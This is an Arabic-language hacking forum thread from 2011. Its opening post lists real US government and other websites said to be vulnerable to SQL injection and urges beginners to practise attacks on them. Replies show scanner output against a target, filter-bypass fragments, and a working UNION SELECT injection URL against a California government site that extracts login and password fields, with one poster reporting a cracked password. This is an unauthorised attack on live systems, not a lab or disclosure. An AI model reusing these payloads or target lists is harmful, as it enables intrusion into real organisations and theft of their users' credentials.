موقع حكومى امريكى مصاب بsql

mido868 · 05-13-2011, 08:48 PM

بسم الله الرحمن الرحيم
=================
اردت ان اضع لطلاب الSQL موقع

امريكى مصاب بثغرة الاس كيو ال
http://gov.ca.gov/news.php?id=16872

وهذا موقع اخر ولكن ليس حكومى
http://www.archdioceseofcolombo.com/news.php?id=851
يلا يا شباب باقى انك تاخذ الموقع وتطبق الدروس على الموقع وان كان هناك تجاوب
سنضع مواقع كثيرة لكل من يريد التطبيق
==========================

الهدف الاساسى من الموضوع ان ينشط الطلاب المبتداين على تطبيق الدروس علشان مفيش حد يجيى يقول ما اجد مواقع لاطبق الشرح عملى هيا ارونا ماتعلمتوه

المصدر: :: vBspiders Professional Network ::

l,ru p;,ln hlvd;n lwhf fsql

BL4ck-ViRuS · 05-14-2011, 02:57 AM

السلام عليكم

شكرا لك أخي

جاري التطبيق ان شاء الله

BL4ck-ViRuS · 05-14-2011, 03:00 AM

Host IP: 76.162.24.10
Web Server: Apache
Powered-by: PHP/4.4.9
Keyword Found: ATTACK
Injection type is Integer
Can't find db server type! But maybe there be some chances! [-o<

أخي أغلب المواقع المصابة تعطيني

Can't find db server type! But maybe there be some chances

ghost19 · 05-27-2011, 01:49 AM

:out::out::out:
لا توجد ثغرة

cisco_security · 05-27-2011, 02:22 AM

احقن يدوي ، لا تستعمل الهافيج و انت مبتدء
قال لك السيد الهدف من المواقع هو للتعلم ، و انا بقول لك بان الموقع فيه ثغره
لا تياس حاول حتي النجاح بالتوفيق

kaisking · 05-29-2011, 05:46 PM

حاولت ما نفح

kokou · 06-01-2011, 02:10 PM

حاولت لاكن الموقع لا يقبل +--+
/*
--
/*!union*/
أين الحل
الموقع دائما يعطي خطاء

chamsou_23i · 06-01-2011, 07:38 PM

اقتباس

المشاركة الأصلية كتبت بواسطة ghost19


	:out::out::out: لا توجد ثغرة

أخي اا أقلك أنت غلطا أصلا

السكربيت
news.php

هو سكريبت مريض بهده التغرة ولكن معك حق فالمدير قام بترقيع التغرة

kokou · 06-02-2011, 06:43 PM

شكرا لك
ملاحضة
نريد مزيد من مواقع لتدريب

mido868 · 06-02-2011, 08:00 PM

اقتباس

المشاركة الأصلية كتبت بواسطة kokou


	شكرا لك ملاحضة نريد مزيد من مواقع لتدريب

تفضل ياغالى

http://www.vbspiders.com/vb/t47576.html

http://www.vbspiders.com/vb/t48658.html

k4$p3r-MA · 06-02-2011, 09:34 PM

شكرااا اخ ميدو

و الله الهافيج هدا خرج عليكم شباب

kokou · 06-02-2011, 10:06 PM

شكرا
على بركة الله

kokou · 06-02-2011, 10:39 PM

طلع الباس و يوزر (حمدآ لله) لاكن مشفرين باس تم فك و يوزر لا
http://imperial.ca.gov/dept.php?id=-44 UNION SELECT
group_concat(login,0x3a,pass,0x3a,uid)+from+ipl_dr p.users+--+

kokou · 06-02-2011, 10:50 PM

هدا الموقع http://www.fppc.ca.gov/index.php?id=477
بعدما تضيف إشارة الخطأ( ' ) يتغير موقع إلى http://www.fppc.ca.gov/index.php
هل تغرة رقعت؟
أم لها علاقة بالفلترة ؟

mimouhaker · 06-07-2011, 12:08 PM

شكرا لك

موقع حكومى امريكى مصاب بsql

SQL قواعد البيانات